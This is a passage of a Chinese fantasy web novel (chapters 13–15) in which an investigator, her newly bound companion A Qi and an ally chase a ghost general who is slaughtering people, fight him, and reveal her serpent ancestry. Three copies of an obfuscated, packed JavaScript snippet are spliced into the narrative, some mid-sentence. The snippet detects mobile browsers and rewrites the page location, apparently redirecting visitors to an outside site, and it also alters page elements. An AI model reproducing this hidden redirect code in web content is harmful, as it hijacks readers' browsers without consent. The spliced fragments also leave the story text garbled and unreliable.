“我们的命运连在一起,从今以后你就是我、我就是你,我们都要好好活着。” 少年懵懂地看着花不杀,他虽不知命契是何物,却感受到对方身体中有一股与他一样的力量。他的意识似乎联通了她的身体,他看见了她的体内环境,细微到任何一处角落。 这种熟悉近乎是生命本能的反应,好像自己本来就存在于她的身体中,他们在彼此的身体里一起长大,形影不离。 少年忽然注意到,他们相触的肌肤下,一股血液在彼此身体中交换。血液突破皮肤的限制,与对方联通,渗透着、交换着。 他有些讶异,慌张抽回了手,看看掌心却无半点血迹。他再触摸花不杀的掌心,那种血液流通的感觉再次回来。 “我们的血也是一样的,我的血跑到你身体里去了。” 少年明白了,所谓的契,大概就是把两个人的灵魂和身体绑在一起。结了契的人,视对方的生命为自己的生命,在轮回中,两个灵魂温暖着、扶持着,一世世走下去。 少年看她的眼中有了些暖意,嘴角勾起一丝笑:“你相信我,我也相信你。你去哪我也去哪,我陪着你。” 少年的甜笑让花不杀心里暖洋洋的,她微仰起头看他,柔声道:“你还没有名字,为自己取一个可好?” 少年眼珠转了转,思考了一会儿,道:“我叫阿契,因为我是你的契。” “阿契,阿契。” 花不杀念了念,却见少年被她唤得脸颊粉粉,甜出了酒窝。 “我喜欢这个名字!”阿契开心地拍了拍手,原地转了一圈。 说话间,几个人影向厢房奔来。巡衙令在前头跑着,几名差吏在后面赶来,他们手里搀着一位浑身是血、看不清模样的男子。 “大人!大人!可找到您了!” 巡衙令跌跌撞撞跑进屋,刹不住脚,一个趔趄摔了个四脚朝天。他顾不上喊疼,也来不及爬起,惊慌失措喊道:“大人,不得了了,出事了!平山城有难,有鬼杀人呐!漫山遍野都是尸体,遍地是血河啊!” 13. 调虎离山 “起来好好说,别慌里慌张。”花不杀把受惊吓的阿契护在身后,对巡衙令道。 巡衙令手脚并用地爬起来,看见她身旁的阿契和冷山月,慌张神色收了些,故作镇定道:“大人,不得了啊,平山城也发生了连环杀人案!凶手杀了无数人,据说尸体都排到山窝子里去了,不下几千具啊!杀人案发生才短短几天时间,地下河却都染成了血河,可想而知凶手一天起码杀了千人啊!如此大案,闻所未闻!” 巡衙令招呼门外的差吏们赶紧进来,他继续道:“今日一早,平山城的辅城官拼了命赶过来,他有话要告诉大人。他只剩了一口气,大人捡重要的问吧。” 差吏们搀着那个血淋淋的身躯走进屋里,那人一路吐着血,双腿在地上画出醒目的血痕。 他被差吏们放在花不杀脚边,仰面朝上。他看着花不杀,情绪激动,导致嘴里的血一个劲涌出来,身体也不住痉挛着。他向她伸着手,嘴里“呃呜呃呜”说着什么。 阿契被他的样子吓到了,害怕地抓着花不杀的袖子。花不杀拍拍他的手背,让他放松。她向辅城体内注入一丝灵力,维持他的气息。 花不杀道:“事情紧急,我就不说废话了,你都知道些什么,告诉我。” 辅城重重喘了几下,呼吸这才通畅。他提起一口气说:“红衣鬼杀人……要炼尸……凡人、他杀的是凡人……今夜阵开……炼尸为魇……杀……他要杀……所有人……” 辅城每说一句,嘴里的鲜血就涌出一股。话到此处,他提着的气终于散了,手臂落回地面,只剩眼珠定定看着她。 花不杀再注入一股灵力,他的身体却已经无法融合力量,不可挽回。 “小心,他、他要爆炸!” 阿契突然拽着花不杀往后躲,还没退几步,“嘭”一声爆响传开,辅城的身体被炸成千万片飞屑,染红整间屋子。 “呸呸!娘的,又是这样?有完没完了?!”巡衙令站得近,被血糊了一脸,烦躁地抖落着身上的碎屑。 冷山月抹了抹脸,立刻查看地上的血迹,在一堆碎屑中发现了零星几个白虫碎块。她用脚踢了踢,大概看出里面有两种蛊虫。 冷山月道:“虫爆?他原是被人种了蛊,什么人这么狠毒,要毁尸灭迹啊!” 她看着花不杀说:“大人可觉得奇怪?案子发生了几天,他早不来晚不来,偏偏在我把平山城的事告诉大人之后,他后脚就跟来了,时间是不是有点赶巧了?有没有可能,他是被人故意送过来的?” 阿契扯了扯花不杀的袖子,从她后面探出脑袋,在她耳边轻声说:“有、有行尸蛊,还有绝命蛊,他是被蛊虫驱使到这的,我刚才看见他身体里的虫了,好大的两只。他身上有鬼气,是鬼送他过来的。” “你能看见他体内的东西?”花不杀回头看着阿契,有些好奇。 阿契低着头,点了点脑袋,“我的眼睛和你们的不一样,能看见其他人身体里的活物,再小的生灵都瞒不住我。他见过鬼,身上还有残留的鬼气,那只鬼很厉害,他的气息有点吓人。” “别怕。”花不杀抓着他的手腕,把他拉近一些。 阿契缩着脖子,把脸藏在她的脑袋后面,他轻轻说:“有你在,我不怕了。” “听他的意思,辅城也是‘夜场主’派来的?”巡衙令看看地上的虫屑,皱起眉头,表情一瞬间比吃了苍蝇还难看,“不是吧,他的手伸得这么长啊?平山城的案子和他也有关系?平山城和这隔着三百里地呢,他是有多少个分·身,才能做下这样大的连环案啊?这只鬼怕不是得了疯病吧,在仙界的地盘上这么糟践人,害了多少条命了,他还想要翻天不成?这样闹下去,西域还有没有太平日子过了?!” 花不杀仔细想了想阿契的话,大致猜到那只鬼的意图:“他在引我去平山城,他想利用我。” 她转头看巡衙令:“我叫你去抄城主府,可有什么发现?赵青没和你一起回来?” “哦对!”巡衙令慌慌张张从袖兜里取出一封信,“我搜遍了府中,只找到这封信,上面盖了鬼将军的印。” 他把信交到花不杀手中,“我着急回来,原本就是要告诉大人,赵青在府中被害了,他是绝命蛊引爆而亡的!” “哦?”花不杀拆着信,抽空瞥了他一眼,皱眉问:“几时的事?” 巡衙令道:“一大早赵青府上的辅城就来向我禀告,他死于天刚亮的时候。他的房中留有一封信,是折子的誊写本,当日就是他上折子上报天镜司的。” 天刚亮,那就是在她见白面鬼之前。这样看来他们或许见过,谈了些什么。 “知道了,你派人到小西关城查查,看他死前都见过谁,有何异样。” “是,大人。”巡衙令接到任务,立刻打发了一旁的几名差吏,让他们去小西关城探查。 花不杀一目十行,粗略看完了信。信的内容大致是教风烈如何演戏,如何把他们带到错误的方向,拖住他们。信纸上最惹人注目的是落款印章,上面印着“鬼阴”二字。 “鬼阴将军,真的是他!”冷山月凑上前,见之色变,“他消失了一年,果然是暗中谋划,为了今日卷土重来!一年前他开鬼门放鬼作乱,如今又杀人炼尸,这个天杀的祸害,还有什么是他不敢做的?!” “好一个调虎离山。”花不杀将手中的信揉成团,冷嗤一声,“风烈和赵青演的好一场大戏,一个上折子把案子捅出去,一个混淆视听、拖延时间,这一切原来是一场合谋的调虎离山计!” 花不杀在脑海中将诸多要素过了一遍,渐渐理清了思路。凶手两地犯案,唯一的好处就是方便转移注意力。从赵青上折子的时候开始,这场调虎离山计就开始了。 凶手先是在三座城中布局,闹出一场骇人的杀人案。他买通赵青和风烈,一个负责“引虎下山”,一个负责迷惑“老虎”。他们合演了一场戏,将他们的注意力都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626599|172395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 集中在这件案子上,以此足足拖了他们两日时间。也就是这两日功夫,让他另一头的阴谋得以顺利进展,至今夜大功告成。 花不杀此时明白,白面鬼口中的内鬼就是赵青。只是暂想不通,风烈求的是命,赵青求的是什么? “调虎离山?大人的意思是我们都被耍了?”巡衙令被她点拨,突然豁然开朗:“凶手是故意在这边杀人的,然后借着赵青的手把案子捅出去,就是为了引来所有人的注意,把大家都困在这个局里,以至于没有人会注意另一头的动静! 如此说来,我们费尽心力岂不是破了个假案子?真正的杀人案是在平山城!” 巡衙令吓坏了,“啧啧”叹两声:“狡兔三窟,这凶手也太狡猾了吧!怪不得是他鬼阴,其他人哪有这样的能力和心思?大人这次怕是遇上对手了。” “不对啊大人,凶手既然费心布置了这么多,又为何要刻意留下两封信,让我们知道中计了?按辅城的说法,今夜才是他大功告成的时候,他这样不是在拆自己的局吗?我不明白。”冷山月抓了抓头发,疑惑看着花不杀。 花不杀想起她赶到忘川河畔的时候,在白面鬼身旁看见了一道一闪而逝的流光,那分明也是一只鬼。谁说涉案的只有一只鬼呢? 古人云,知人知面不知心。花不杀会心一笑,道:“不必疑惑,他既然引我去平山城,自然有他想让我看见的东西。反正这趟平山行是去定了,他怀的什么心思去了自然知道。” 她吩咐巡衙令:“备些薄饼果子,用包袱装好,甜食为宜。我不在的时间,这边的事就交给你,有情况再告诉我。” “是,大人。”巡衙令乐呵呵下去准备东西。过了片刻,拎了个包袱回来。 花不杀将包袱递给阿契,让他路上吃点东西填填肚子。 他们三人从巡衙司出发,御风向高空飞去。眼下太阳快要正当头,估摸着到达平山城将是夜初之时。 …… 红月,将夜空染成深红色。天上没有星,没有云。 夜幕初临,行人早散,街上只摇着几盏灯笼,满目萧条,连树叶的声响都异常清晰。 屋檐上,两团黑影缠斗,争夺着一个球状的东西。打斗中不知是谁的腿踢到了那个物体,那物顺着屋顶的斜坡滚下去,砸在地上。一圈液体从它周围渗漏出来,是颗人头。 两只猫见食物跑了,从屋檐上追下来,咬中人头正要撕扯,突然闻见一股异香。 那香随怪风漫得到处都是,侵染之处的房屋、草木、路石,底部纷纷往外渗出液体,将整个地面涂抹成红色。 两只猫弓起背,炸着毛,不知在街道尽头瞧见了什么。突然它们猛叫一声,向两侧弹开了去,嗖嗖窜出去一段距离,只差踩出火星。 “哒……哒……” 香云里隐约有个影子移动,一阵缓慢的脚步声传来。 “哒……哒……” “哒……哒……” 14. 鬼拦路 夜幕初临,他们终于赶到平山城附近,却见此处的空中祟影重重,鬼啸连连。城中涌起一股浓重的鬼气,如黑烟一样笼罩着整座城。鬼气一直蔓延到城外,几乎淹没了附近几十里地山林。 他们从高空飞过,却遇上一道平地突起的香障,阻截了去路。通天的屏障把天地隔绝开,便是蚊虫也飞不过去。 他们脚下有一条街道,四下无人,昏暗无灯。街上只有一个影子,撑着伞,面朝他们的方向站着,红月光将他满身染得鲜红如血。 “大人,有人不让我们过去!”冷山月发现那个影子,直觉得对方来者不善,“看来有人一早就知道我们要来,设下这道屏障拦我们。他这么快就按耐不住了,我倒要看看是哪个做贼心虚的!” “是、是鬼,我闻到他的气息了,好厉害的鬼气。”阿契躲在花不杀身后,探出头瞧了瞧地上的影子,又被他飘逸而出的气息冻得一抖,缩了回去。 花不杀道:“既然他相邀,何不一见?你们留在此处,我去会会他。” 风中嘈杂,时有呼啸与不清晰的呜咽声传开。街道上香雾成云,泛着微光如浪潮一样翻涌,极是壮阔。 红衣身影静立于石子路面,伞下身姿修长,阴影遮着面容,只一席血衣风中翻飞。现下未雨,伞面却在不停往下滴落液体,与地上血液相融。他缓缓转动着伞柄,悠闲观赏着血点落地成花。 直到身后厉风起,杀气涌,一片亮光步步迫近,他才突然转身,面向袭来的人影。他只露出白皙的下颌,视线透过伞檐睨视前方,笑得妖媚。 花不杀手中长剑闪着清冷紫光,周身杀气将香雾清开数丈。她瞧他一眼,冷声道:“你既邀我下来,却不肯露出真容,怎么,怕我吃了你不成?平山城有何见不得人之事,我连踏足一步都不成,逼得你拦我?” 他瞧着伞下露出的半截银剑,轻轻笑了声:“听闻西关城有案,天镜司命花巡案前来破案,你不在西关城待着,来此作甚?花巡案的手是不是伸得太长了?岂知平山城不是你该管的地方,往前一步只有死路。你现在掉头回去,还能有命。” 花不杀冷嗤一声,笑道:“你一只鬼妄想在仙界一手遮天了不成?仙界之大,还没有我去不了的地方,我既来了,便是鬼门关也闯得!倒是你该掂量掂量,自己有几根骨头够砍的?” 红衣鬼嗓音低沉了些:“好言相劝不听,大人这是要和我动手了?” “正有此意!” 人与剑同时疾闪而来,杀气如滔天巨浪裹挟而至。花不杀手中的剑紫光耀耀,剑光闪如惊雷,周身灵力骤然凝聚于这一剑上,一击之力可堪山崩地裂。 反观红衣鬼确实半点不着急,只等她逼近至咫尺之间,只等剑光炸在胸口,他才将伞打在身前,旋转如一道护盾。同时周身鬼气出,视野内杀气横飞,将这雷霆般的剑气尽数化于伞面。 花不杀见势,收剑直刺,力量集中于剑尖一点,再强的盾怕也要碎个窟窿。 出剑时却只闻得一阵怪笑,待剑触到伞面的瞬间,一阵红光忽闪,红衣鬼及纸伞竟在瞬间炸成千万滴飞血,箭雨般辐射至方圆一里之外。花不杀的招式自然也被干扰中止,只好结阵抵御下飞血的射击。 刹那间那鬼已遁迹,如风疾去不可寻。花不杀连劈了几道紫电出去,分化成万千道细流,在空中如烟火一一爆开,竟都击了个空。 “出来!连出招都不敢么?!” 花不杀手负剑,环看几圈,仍追踪不到丝毫踪迹。 他的声音从四面八方传来,透着笑意:“我若出手,你有分毫生机么?” “生不生,只有试了才知!” 阴风刮得更加猛烈,风声呼啸犹如厉鬼凄笑。 短暂沉寂之后,脚边突现几个圆形影子,抬眸一望,无数黑影正从长街四面靠近,而空中,无端出现许多柄纸伞。 每一柄纸伞都倒着悬浮于半空,伞中盛着液体,在月光下如玉通透。乍看似天灯密布,极是震撼。 纸伞汇聚在她头顶,按照特定形式铺成密集的阵列。而后妖风起,伞沿倾斜,液体倾泻而出,兜头朝她浇来。花不杀躲避无门,被血液浇了满头。 “小小见面礼,可还喜欢?” 面前凝聚出一具身体轮廓。他不再遮伞,将头露了出来,一张银白面具覆在脸上,只看得见一对红瞳鲜亮妖冶。他双脚各踏一朵浮莲,悬空不沾血污。 “果然是你,鬼阴将军山飞夜!” 花不杀甩了甩头发,再定睛一看,发现他这副形象与通缉画像一模一样,便是这顶银龙面具与伞的排场,让她确定他的身份。 花不杀动了怒,面色阴沉下来,手中紫电向天一送,纸伞连同血液炸成一阵瓢泼落雨,将他们都浇了个浑湿。 “红衣降世,必生灾殃,你果真是只不祥之鬼。当日私开鬼门,你闻名天下,如今杀人炼尸,是又想名声大噪一回么?!” 山飞夜者,无人知其过往,无人知其面相。自百年前忘川一战崭露头角,天下人始知道鬼君又得一良将。 此鬼性情乖戾,心思莫测。唯一喜好便是这纸伞,每每现世,天悬红伞,地漫血河。他现身之处,不日便有一场横祸。世人言“红衣降世,必生灾殃”,倒挂悬浮的伞阵成了他独一无二的标志。 山飞夜闻言抬颔,乜眼睥睨,嘴角露出森冷淡笑,“大人聪慧,一眼便知是我,既如此,还战么?你应该知道百年前忘川一战,我一人挑杀一万仙兵,全身而退,今日便是再来一万,我也不眨下眼睛。 我早已摸清你的实力,两个你也伤不了我分毫。平山城不是你该来的地方,念你初犯,掉头回去,既往不咎。” “我花不杀还没走过回头路!” 她手中长剑紧握,因怒火所感,剑身上燃起熊熊紫焰,噼里啪啦闪着电花。她双眼战意激昂,瞳孔泛着淡紫,冲天杀气掠得地上的石砖颤动不止,积血成浪。 “你真的想死么?”山飞夜双手握成拳头,赤瞳像蛇一样变成两条竖线。 “哪那么多废话!既来之,则战之!”天降黑衣,落在花不杀身侧。冷山月与她站在一起,亮剑迎战,目光凌锐。 山飞夜瞧见来人,恍惚了一瞬,也只是一刹那。随即他哂笑起来,笑道:“不自量力!” 花不杀不与他费言,身疾如电,手中的剑破风击出。她在半途举剑划满圆弧,击出一道巨大的剑弧,霎时间紫光和电火四射,将山飞夜整个躯体笼罩其中。 她和剑则潜在光芒中,直刺而去。寒意直逼他的胸腔,快到眼睛根本看不清。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626600|172395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷山月也纵剑一跃,定海神针般从几丈高的空中突刺下来。锋利的剑尖卷集着烈风,环绕她的身体形成一圈龙卷,她便如锥子般直钉他头盖骨而去。中这一击,也足够他脑袋四分五裂。 然而腹背夹击中,山飞夜神色不变。只等她们靠得更近了,他身上才盛放出一片血光。他体内鬼气如恶潮般奔涌而出,其中混杂着不少恶灵、亡魂,千万张嘴厉啸着撕咬出去。 奇异的是,这些恶灵们竟能吞噬她们的杀气,削减气势。而鬼气将她们武器的锐意锉钝,使其杀伤力锐减。 所以即便再骇人的攻势,在这一刻也被逼得停滞下来,再不能前进一分。 “瞧见了吧,再来几个你们我也能一并收拾了!此去刀山血海,我最后劝你们一次,不退何为?!” “你说退便退,凭什么?!”冷山月硬着头皮加大冲击力度,结果依然被他死死钳制。 花不杀也同样不能移动分毫。这一战成了死局。 “我讨厌犯倔的人。娇花再美,辣手也摧得,既然你们一心向死,那就吃点苦头!” 山飞夜运转灵力,汇聚周遭的阴煞,入他脚下一个半丈方圆的阵中。阵上的符文在阴气的滋养下愈来愈亮,而后随着他用力一跺,阵法迅速向外扩张,铺满整条街道。 地上的血液在阵中凝聚成型,化为一只只血骷髅鬼。它们从街道两头奔跑过来,密集如蚂蚁。 花不杀从它们释放的杀气判断,这些血骷髅鬼都是品相极好的傀儡,即使她们行动自由时也要费力一战,更不必说是如今抽不开身的时候。 “好一个鬼阴将军!” 花不杀心狠一挣,即便使出全力,身子却还是被他的鬼气牢牢钳制住,抽身不了。 正当她们一筹莫展之际,天上突然飘下一个身影。他满身白光,如流星般坠落。光芒掠过街道,血骷髅鬼被清扫到路的两侧,倒地后再爬不起来。 阿契冲得急了些,接近地面时吓得自己手脚慌乱,好不容易才踉跄着落到地面。 他看见花不杀身陷险境,鼓起勇气跑向涌来的血骷髅鬼。他在近处一跺脚,脚下便冲出一片白光,如雷霆般射出去,在血骷髅鬼脚下爆破开,一次震倒一片。 阿契边跺着脚,边警告它们,声音发着抖,带着点哭腔:“退、退,你们往后退,不要过来,不要伤害姐姐!你们长得这么丑,不要过来吓人了,很可怕诶!” “小阿契,好样的!想不到你这么厉害,你加油,把它们都杀掉!”冷山月为他欢呼道。 “我、我加油,山月姐姐!” 阿契被她鼓舞,胆子大了些。他冲入血骷髅鬼的包围圈中,更近地杀起来。随着他心中恐惧的减退,白光的威力也强了不少,杀血骷髅鬼的速度也更快了。 山飞夜瞧着这一幕,嘴角的笑收敛了。他辨出阿契体质特殊,体内力量霸道异常,似乎天生具有压制性。若他日后成长起来,怕是要压所有人一头。 他耐心等他杀完血骷髅鬼,过来解围。看着他视若无物地冲入他鬼气的范围中,而丝毫不受影响,他心中的猜测被证实。 阿契惧怕山飞夜身上的气息,不敢靠他太近,他绕到花不杀的后面,小心翼翼扯住她的衣袖,低着头弱弱道:“姐姐,我、我来救你了,别怕。” 15. 腾蛇之裔 她的真身本相 阿契击出一道白光,吞噬了眼前缭乱的鬼影,随之山飞夜周身的鬼气消散,制约着花不杀和冷山月的力量也在此刻松动。她们凝神聚力,趁机冲杀过来。 山飞夜腹背受敌,短时间内来不及迎击,只好在她们刺到衣发时,引爆自身化成一阵血雾,而后这阵雾极速向后飘去,在几丈外凝聚成人形。 “好一个不仙不鬼的怪物。”山飞夜冷眸瞧了阿契一眼,从他的气息预判出他非此界中人,只是暂时看不出他的身份,也就找不到他的弱点。 有他在,他即使释放再厉害的鬼气也无用处,需得想个法子让他停手。 阿契站在花不杀和冷山月身后,发现山飞夜盯着自己瞧,胆怯地低下了头。他在花不杀耳边嘀咕:“姐姐不怕,我、我会保护你,他要是再杀过来,我就用拳头砸他,把他砸哭,赶他走。” “好阿契,看不出你这么厉害,你帮了大忙了。” 冷山月把他夸得有些脸红,他没好意思地把头埋得更低,羞羞笑着。 花不杀剑指山飞夜,冷声道:“我欲前去,你拦不住我,你和案子我都要管。你若要和我耗,再战三百回合也无妨。” 山飞夜笑道:“凭你?仙君在我面前,我也不皱下眉头。这趟水深,蹚进来就是个死!” “小小鬼魅,大放厥词,你这案子还没人能管了不成!”冷山月剑随人动,杀将出去。 花不杀随后动身,却忽然间身旁香气聚拢,结成一道屏障,将她和阿契各自困了起来。香障无形,力量击出去都扑了个空,瞧着一时半刻破解不了。 “姐姐,怎么办?我出不去,帮不了山月姐姐了。那只鬼好厉害,山月姐姐不是对手,她会被打的,我、我好担心。” 阿契身上的白光也拿香障没有办法,他急得捶打着无形的香雾,眼眶飘泪。 “别怕,屏障是虚的,打不到,但也不是毫无办法。你像我这样将灵力化成风,让风集中于一点,慢慢吹开香雾,屏障就可以破了。” 花不杀双手贴在香障上,掌心生风缓缓拂开香雾,面前便出现一个缺口。 阿契抹干眼泪,立刻学着她的样子以灵力御风。他将掌心对着屏障,掌心的风突然窜了出去,一大股风像个小钻头一样在屏障上破开缺口,速度比她快不少。但他自己也被反弹的风吹得嘴皮子都张开了,头发群魔乱舞着。 “啊啊,风大了,我调小一点。”阿契灵活改变风力大小,这次总算不被吹成鬼脸了。他看着花不杀说:“姐姐,我快好了,我马上来帮你。” “好。”花不杀朝他一笑。 冷山月靠近山飞夜身边时,突遇上一团鬼气,把她逼停下来。与此同时,她的头顶一个巨大的方形物体坠落下来。 她往后一闪,物体落地才看清是顶婚轿,轿子周围挂着红绸与喜字,是台八人大轿。阴风在此时忽的猛烈,吹得轿上的银铃叮当作响,冷得她一个激灵。 “你不和我好好打,弄顶轿子来做什么?莫非瞧不上我,连和你打都不配?” 山飞夜无视她的怨怼,身影闪至她面前,趁她不备,伸手将她一拽,推向轿子。冷山月结结实实撞在轿子上,后背险些要散架。 山飞夜控制着她的双手,脸逼近她的面前,近得连呼吸都可以觉察到。 “你、你要做什么?放开!”冷山月移开目光,用力挣了挣,双手却半点移动不得,就连出腿都被预判,让他及时挡下。 山飞夜欺身压在她身前,眼眸透过面具看着她,有些深邃,有些波动。 他不回应,只将她身上的衣物替换成婚服,再来一方盖头落在头顶。他将她塞入轿中,压紧她的身子,逼得透不过气。 “山飞夜,你到底要做什么?你最好给我松开,不然定叫你鬼头落地!” 只听他轻轻一笑:“凭你也敢说杀我?” “怎么不敢?你身上背着几桩案子,手上人命无数,人人得而诛之,我只恨杀不了你!” 冷山月召来长剑,穿入轿中。山飞夜将她腰身一搂,带着她翻滚半圈,让剑扑了个空。他逼得更近些,定定看着她,眼中有些捉摸不透的波动。 冷山月红着脸,呸他一声,“你这样按着我算怎么回事?有本事将我松开,决一死战!我们仙界的女子没一个怕的!” 山飞夜道:“我不与你战,赢你没意思。” 说话间一道白光、一把利剑穿入轿中,山飞夜起身抵御。冷山月趁此机会将他身子掀开,逃出轿外。 她和花不杀双剑联合,一剑化百影,汇成一道巨大剑阵,如雨般穿透轿子四壁杀了进去。阿契也击出两道白光,加入其中。 霎时间乱光晃眼,银铃与剑击之声乱耳,轿子应声而裂,炸成万片。那鬼影却站在原地,不伤一寸。 “入夜了,我没时间和你们浪费。花不杀,既然给你活路不走,那就到鬼门关走一遭吧!” 疾风吹来,鬼影忽闪,花不杀没半点察觉,脖颈已在他手中。山飞夜将她挟持着飞向高空,一闪而逝。 鬼影一瞬至百里之外,停下时,脚下已是万顷湖面。山飞夜一道力量打入湖中,湖底突然亮起诡异红光,浮现出一幅鬼神图腾。 山飞夜落向湖面,再一掌催发了这“伏仙阵”,霎时天空狂风闪电发作。掌下惊涛起,湖卷千层浪。 湖心出现一个巨大漩涡,转速极快,宛如巨兽之口。山飞夜攥着她的脖颈,举过头顶,哂笑着:“此阵伏仙、诛妖,生不得出!花不杀,且去吧!” 花不杀被攥得透不过气,自然也无力挣脱。眼看着他撒开手,将她打入漩涡,她竟是半点反应机会都没有。 漩涡将她送入深水,阵光将她压入湖底。她被扣在湖底的图腾上,四周血藤爬来,勒紧手脚、脖颈,窒息感强烈。 伏仙阵天生压制仙妖之力,身处阵中非但灵力施展不出,就连力气也全散了。 眼见着红光中凝出许多把光剑,像星辰一样布满头顶。剑雨一旦刺下,必是骨肉分离、血肉模糊。而这只是伏仙阵的第一道攻击。 危急时刻,花不杀面前闪来一道白光,竟耀眼得仿佛是湖底白日,将周围的红光都压了下去,阵法的力量也在一瞬间被克制,减弱下去。 花不杀看清来物,是一颗纯白发光的珠子,只有拇指头那般大,浑身却透出一股极为纯净的力量。这力量不似三界之物,倒像自异界而来的某种古老力量。 它的压制感太强烈,即便是这样的阵法在其面前也如柳絮般不堪一击,被压制得一丝阵力也发不出。 珠子飞到她身体上方,绕着身体左右转了一会儿,像是在查看着什么。忽然那颗珠子向她嘴唇奔来,力量撬开唇齿,沿喉咙进入腹部。 这一刻她挣脱阵法的限制,力气也回归,体内灵力充盈,更胜从前许多。 花不杀从湖底飘起,身下生出一片灵泽,将她的身子承托,悬在中央。 珠子在腹内游窜,突起一阵焦灼感,好似一团火焰,要烧穿肚皮。她的四肢已麻木,灵力也凝聚不起来,只强撑片刻,终抵不过化作白蛇原身。 她的身体在此刻发生着巨变,全身白鳞闪着亮光,身侧长出一双半透明的翅膀,长约一丈,如蝉翼嵌在身上。 那股力量强制带她飞离水面,于半空中幻化成耀眼光团,将她全身吞噬。 她意识愈渐模糊,只知道有轻灵的力量流窜于经脉,令她鳞片越发闪亮。随之剧痛猛烈,皮下如有万蚁行窜。 在那股力量的怂恿下,她震动双翅冲出光芒。双翅张扬,翻飞如凰。这一刻,她终于知道自己的本体是何物,她原是腾蛇后裔,一种名唤“繇蛇”的仙灵。 《仙纪》载:北海之渊,有繇蛇栖。身同蛇,具龙象,生双翅。擅戏水,擅翔天,在水如鱼,在天如鹏…… 传闻上古时,天生腾蛇,因资质太过绝艳,引神兽们嫉妒,被毁神骨,跌落凡世。腾蛇不甘,与凡世的仙灵们繁衍了几支后裔,繇蛇是其中一支。这些后裔生来的使命就是重回天空之巅,斩神兽,成万兽之尊。 过去的生命里,她平静如水,像是浮萍,来到世上,似乎也只为了来此一遭。她没有太惊人的天赋,没见过太惊艳的人,原以为她会如此庸庸碌碌了此余生,可此时却好像有了新的归途。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626601|172395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她终于知道自己是谁,古老的使命感在心中种下。她当如腾蛇那样,纵情于长空,将万兽踩在脚下,重掌天空之巅! 腹内灼热更甚,即使飞入云端,清凉的云气也减缓不了身上的半点热度。她的身体承载不了这股力量,若不令其消散,只会烧穿肚皮化成灰烬。 她于高空长啸,拼尽全力,却运转不了身躯的力量。眼看灼热愈烈,经脉俱损。 这时一股清风从她头顶袭来,清冷的灵力包裹她的躯体,将她疾飞的身躯逼停下来。面前的云海里,出现阿契和冷山月的身影。 “大人,那个天杀的山飞夜对你做了什么?你这是怎么了?你的身体怎么变成这样了?”冷山月冲上前,将她虚弱的身体抱在怀中。 阿契紧跟着蹲在冷山月身旁,着急地看了看花不杀,哽咽说:“姐姐,你没事吧?你好像很痛苦,我能做什么啊?我想帮你。” 花不杀强撑微笑,对他们摇摇头,她缓了口气说:“山飞夜想用阵杀我,我被他打入湖底,不想误打误撞吞下一颗白珠,这才破了阵捡回一命。 那颗珠子不似凡物,我吞下后生出双翅,化形为繇蛇。它让我体内灵力成番暴涨,我一时受不住,这才失控。好在你们将我逼停下来,用灵力冷却了我的身体,缓上一会儿便无碍了。” “姐姐说的是不是一颗小小的有缺角的珠子啊?我见过它的。” 阿契突然激动地转到花不杀正面,用他的眼睛查看了一番她的体内环境。他发现她的心脏中悬浮着一个异物,正是一颗缺角的白珠。 “我、我终于等到你了,原来我要等的人就是姐姐!”阿契突然哭起鼻子来,两只手扯住她的袖子。 “阿契,你怎么了?”花不杀看他突然激动起来,似乎是知道珠子的渊源。她撑起上半身,凑近些,抹了抹他的泪痕。 “你怎么哭了啊?什么等的人啊?阿契在说什么?”冷山月疑惑道。 阿契把哭腔憋回去,顺了顺气说:“姐姐体内的珠子是我的本体,我是被人用上面削下的一角捏成人形的。我出生的时候见到了一个和我长得一样的人,他让我等一个人,我这辈子是为了保护她而存在的。他告诉我,被珠子认主的就是我等的人,这个人就是姐姐啊!我是为你存在的。” 花不杀轻抚几下他的手背,安抚他激动的情绪。她不解道:“我不曾记得与谁有过私交,你这张脸也是第一次见。你可知道他是谁?为何要帮我?” 阿契擦擦鼻涕,情绪稳定下来。他道:“那个人是魔化的幽冥神,我是他的一个分·身。那个人很厉害的,他身上的魔气可吓人了,一百个一千个山飞夜也比不上。只是他说他要睡一场很久的觉,暂时回不来,才让我帮他守着你的。他要是在的话,天底下就没人可以欺负姐姐了!” “这世上原来真的有神?那他岂不是从异界飞越过来的?”冷山月不可置信道:“神之一指就可毁天灭地了,那是多强大的存在啊,大人和他见都没见过,他为什么要保护大人?该不是等他醒来要利用大人吧?” 这世上的每个世界都是独立存在的,就目前所知而言,天上天下只有人界、仙妖鬼界、天外不知域,这三个独立世界。每个世界之间都有严格的等级秩序,只有高等世界的人可以去到低等世界。 仙妖鬼界自古就和天外不知域无来往,因此关于“神”这一种族是否存在都是未知。可想而知,神对她们而言是多么遥不可及的存在,更不必说和神攀上关系是多么离奇的事了。 